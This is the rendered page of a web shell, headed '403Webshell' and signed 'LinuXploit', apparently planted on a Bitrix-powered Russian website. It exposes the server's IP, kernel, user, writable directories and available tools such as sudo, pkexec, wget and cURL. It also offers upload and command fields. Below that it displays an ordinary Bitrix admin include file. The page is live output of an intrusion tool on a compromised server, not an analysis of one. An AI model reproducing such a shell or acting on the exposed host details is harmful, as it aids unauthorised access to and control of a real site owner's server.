403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/include/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/include/prolog_admin_before.php
<?php

require_once(__DIR__."/../bx_root.php");

if (!defined('START_EXEC_PROLOG_BEFORE_1'))
{
	define("START_EXEC_PROLOG_BEFORE_1", microtime(true));
}

$GLOBALS["BX_STATE"] = "PB";
unset($_REQUEST["BX_STATE"]);
unset($_GET["BX_STATE"]);
unset($_POST["BX_STATE"]);
unset($_COOKIE["BX_STATE"]);
unset($_FILES["BX_STATE"]);

define("NEED_AUTH", true);

if (isset($_REQUEST['bxpublic']) && $_REQUEST['bxpublic'] == 'Y' && !defined('BX_PUBLIC_MODE'))
	define('BX_PUBLIC_MODE', 1);

if (isset($_REQUEST['public']) && $_REQUEST['public'] == 'Y' && !defined("PUBLIC_MODE"))
{
	define("PUBLIC_MODE", 1);
	if(!defined('BX_PUBLIC_MODE'))
	{
		define('BX_PUBLIC_MODE', 1);
	}
}

if (!defined('PUBLIC_MODE') || PUBLIC_MODE !== 1)
{
	if (!defined('ADMIN_SECTION'))
	{
		define("ADMIN_SECTION", true);
	}
}

require_once(__DIR__."/../include.php");
if(!headers_sent())
	header("Content-type: text/html; charset=".LANG_CHARSET);

if (defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1)
{
	if ($_SERVER['REQUEST_METHOD'] == 'POST')
		require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/interface/init_jspopup.php");
}

require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/admin_tools.php");
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/interface/init_admin.php");

CMain::PrologActions();

if (!defined('START_EXEC_PROLOG_BEFORE_2'))
{
	define("START_EXEC_PROLOG_BEFORE_2", microtime(true));
}

Youez - 2016 - github.com/yon3zu
LinuXploit